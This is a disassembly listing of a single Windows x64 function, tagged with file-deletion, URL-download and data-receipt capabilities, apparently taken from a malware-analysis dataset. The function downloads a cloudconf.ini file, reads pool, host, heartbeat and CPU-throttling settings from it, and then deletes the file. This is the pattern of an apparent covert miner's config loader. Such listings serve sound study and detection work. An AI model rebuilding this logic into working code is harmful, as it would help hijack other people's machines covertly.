Function at 0x140007210
Capabilities:
Delete file
Download url
Receive data

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
mov qword [rbp + 0x18], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rbp + 0x270], rax
mov r13, rcx
xor esi, esi
mov dword [0x14002d9f0], esi
mov dword [0x14002d9f4], 0xb4
mov dword [0x14002d9f8], 0x1e
mov dword [0x14002d9fc], 0x60
mov dword [0x14002da00], 0x1e
mov dword [0x14002da04], 2
mov dword [0x14002da08], 2
call fcn.140002ec0
mov rcx, rax
mov eax, esi
test rcx, rcx
setne al
test eax, eax
jne 0x1400072b5
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x50], rax
lea rdx, [rbp + 0x50]
call fcn.140006e60
or r15, 0xffffffffffffffff
test eax, eax
je 0x140007b97
call fcn.140002ec0
mov rcx, rax
mov eax, esi
test rcx, rcx
setne al
test eax, eax
jne 0x1400072f7
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x30], rbx
mov word [rbp + 0x60], si
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x62]
call fcn.14000b410
mov r8d, 0x104
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rax, [rbp + 0x60]
mov rdi, r15
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140007340
test edi, edi
jne 0x1400073a4
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x14000741f
cmp dword [rdx + 0x10], 0
jge 0x140007381
cmp dword [rbx - 0xc], 0
jge 0x140007376
mov ecx, 0x80070057
call fcn.140003000
int3
mov dword [rbx - 0x10], esi
mov word [rbx], si
jmp 0x14000741f
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140007391
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x30], rax
jmp 0x14000741f
mov r12d, dword [rbx - 0x10]
lea r14, [rbp + 0x60]
sub r14, rbx
sar r14, 1
test edi, edi
jns 0x1400073c1
mov ecx, 0x80070057
call fcn.140003000
int3
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x1400073e1
mov edx, edi
lea rcx, [rbp + 0x30]
call fcn.140002810
mov rbx, qword [rbp + 0x30]
movsxd rax, edi
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
add rdx, rdx
cmp r14, r12
lea r12, [rax + rax]
mov r9, r12
ja 0x140007405
lea r8, [rbx + r14*2]
call fcn.14000a350
jmp 0x14000740e
lea r8, [rbp + 0x60]
call fcn.14000a058
cmp edi, dword [rbx - 0xc]
jg 0x140007bb4
mov dword [rbx - 0x10], edi
mov word [r12 + rbx], si
mov r8d, 1
lea rdx, [0x140022ef4]
lea rcx, [rbp + 0x30]
call fcn.140003890
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.cloudconf.ini
lea rcx, [rbp + 0x30]
call fcn.140003890
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, esi
test eax, eax
sete cl
test ecx, ecx
je 0x140007b7e
call fcn.140002ec0
mov rcx, rax
mov eax, esi
test rcx, rcx
setne al
test eax, eax
jne 0x140007491
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x20], rax
call fcn.140002ec0
mov rcx, rax
mov eax, esi
test rcx, rcx
setne al
test eax, eax
jne 0x1400074be
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x28], rax
lea rdx, str.conf
test rdx, 0xffffffffffff0000
jne 0x1400074fc
movzx ebx, dx
mov ecx, ebx
call fcn.140002b10
test rax, rax
je 0x14000750c
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.140002440
jmp 0x14000750c
mov r8d, 4
lea rcx, [rbp + 0x28]
call fcn.140002590
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rdx, str.valid
lea rcx, [rsp + 0x68]
call fcn.140001dc0
mov rbx, rax
mov r12, qword [rbp + 0x30]
add r12, 0xffffffffffffffe8
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rsp + 0x70], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x70]
call fcn.140004710
test eax, eax
je 0x14000756c
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002d9f4], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rdx, str.hbeat
lea rcx, [rsp + 0x78]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x38], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x38]
call fcn.140004710
test eax, eax
je 0x1400075c2
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002d9f8], eax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
lea rdx, str.cpumax
lea rcx, [rbp - 0x78]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp + 8], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 8]
call fcn.140004710
test eax, eax
je 0x140007616
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002d9fc], eax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x30], rax
lea rdx, str.cpumin
lea rcx, [rbp - 0x68]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x28], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x28]
call fcn.140004710
test eax, eax
je 0x14000766a
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002da00], eax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], rax
lea rdx, str.mincore
lea rcx, [rbp - 0x58]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 8], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 8]
call fcn.140004710
test eax, eax
je 0x1400076be
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002da04], eax
mov r8d, 4
lea rdx, str.pool
lea rcx, [rbp + 0x28]
call fcn.140002590
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
lea rdx, str.host
lea rcx, [rbp - 0x48]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rsp + 0x58], rax
lea r9, [0x14002da18]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.140004710
test eax, eax
je 0x140007b4c
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rdx, [0x1400248d8]
lea rcx, [rsp + 0x40]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rsp + 0x48], rax
lea r9, [0x14002da20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x48]
call fcn.140004710
test eax, eax
je 0x140007b4c
mov r8d, 7
lea rdx, str.sysproc
lea rcx, [rbp + 0x28]
call fcn.140002590
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rdx, str.lists
lea rcx, [rsp + 0x50]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x80], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x80]
call fcn.140004710
test eax, eax
je 0x1400077e3
lea r8, [0x14002da28]
lea rdx, [0x1400248fc]
lea rcx, [rbp + 0x20]
call fcn.140004cd0
mov r8d, 8
lea rdx, [0x140024900]
lea rcx, [rbp + 0x28]
call fcn.140002590
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
lea rdx, str.mincore
lea rcx, [rbp - 0x70]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x60], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.140004710
test eax, eax
je 0x14000784d
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002da08], eax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
lea rdx, str.lists
lea rcx, [rbp - 0x50]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x40], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x40]
call fcn.140004710
test eax, eax
je 0x1400078a8
lea r8, [0x14002da40]
lea rdx, [0x1400248fc]
lea rcx, [rbp + 0x20]
call fcn.140004cd0
mov r8d, 6
lea rdx, str.Window
lea rcx, [rbp + 0x28]
call fcn.140002590
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rdx, [0x140024928]
lea rcx, [rbp - 0x30]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x20], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x20]
call fcn.140004710
test eax, eax
je 0x140007919
lea r8, [0x14002da58]
lea rdx, [0x1400248fc]
lea rcx, [rbp + 0x20]
call fcn.140004cd0
mov r8d, 7
lea rdx, str.cpulist
lea rcx, [rbp + 0x28]
call fcn.140002590
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
lea rdx, str.cpus
lea rcx, [rbp - 0x10]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp], rax
lea r9, [rbp + 0x20]
mov r8, rbx
lea rdx, [rbp + 0x28]
lea rcx, [rbp]
call fcn.140004710
test eax, eax
je 0x140007b3d
xor eax, eax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rsi
lea r8, [rbp + 0x38]
lea rdx, [0x1400248fc]
lea rcx, [rbp + 0x20]
call fcn.140004cd0
mov r14, rsi
mov rbx, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x38]
sub rbx, rdi
sar rbx, 3
test rbx, rbx
je 0x140007b02
mov rdx, qword [rdi + r14*8]
test rdx, rdx
je 0x1400079e9
mov rcx, qword [r13 + 0x18]
cmp dword [rcx - 0x10], 0
jl 0x1400079e9
call fcn.14000a948
test rax, rax
je 0x1400079e9
sub rax, qword [r13 + 0x18]
sar rax, 1
cmp eax, 0xffffffff
jne 0x1400079f7
inc r14
cmp r14, rbx
jae 0x140007b02
jmp 0x1400079c0
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], rax
lea rdx, str.mincore
lea rcx, [rbp + 0x10]
call fcn.140001dc0
mov rbx, rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rbp - 0x18], rax
lea rdi, [rdi + r14*8]
lea r9, [rbp + 0x20]
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.140004710
test eax, eax
je 0x140007a4e
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002da04], eax
call fcn.140002ec0
mov rcx, rax
test rax, rax
setne sil
test esi, esi
jne 0x140007a6c
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x58], rax
mov r8d, dword [r13 + 0xc]
lea rdx, [0x140024660]
lea rcx, [rbp + 0x58]
call fcn.140004420
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rbx, qword [rbp + 0x58]
lea rcx, [rbx - 0x18]
call fcn.140003800
add rax, 0x18
mov qword [rsp + 0x38], rax
mov rcx, r12
call fcn.140003800
add rax, 0x18
mov qword [rsp + 0x60], rax
lea r9, [rbp + 0x20]
lea r8, [rsp + 0x38]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.140004710
test eax, eax
je 0x140007ae9
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.SHLWAPI.dll_StrToIntW]
mov dword [0x14002d9f0], eax
lock add dword [rbx - 8], 0xffffffff
jg 0x140007afe
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rbp + 0x38]
test rdi, rdi
je 0x140007b3d
cmp rdi, qword [rbp + 0x40]
je 0x140007b35
nop dword [rax]
mov rdx, qword [rdi]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140007b27
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rdi, 8
cmp rdi, qword [rbp + 0x40]
jne 0x140007b10
mov rdi, qword [rbp + 0x38]
mov rcx, rdi
call fcn.140009a20
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, 1
mov rdx, qword [rbp + 0x28]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140007b65
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x20]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140007b7e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140007b97
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140007bb0
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, esi
jmp 0x140007bbf
mov ecx, 0x80070057
call fcn.140003000
nop
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.140009a40
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret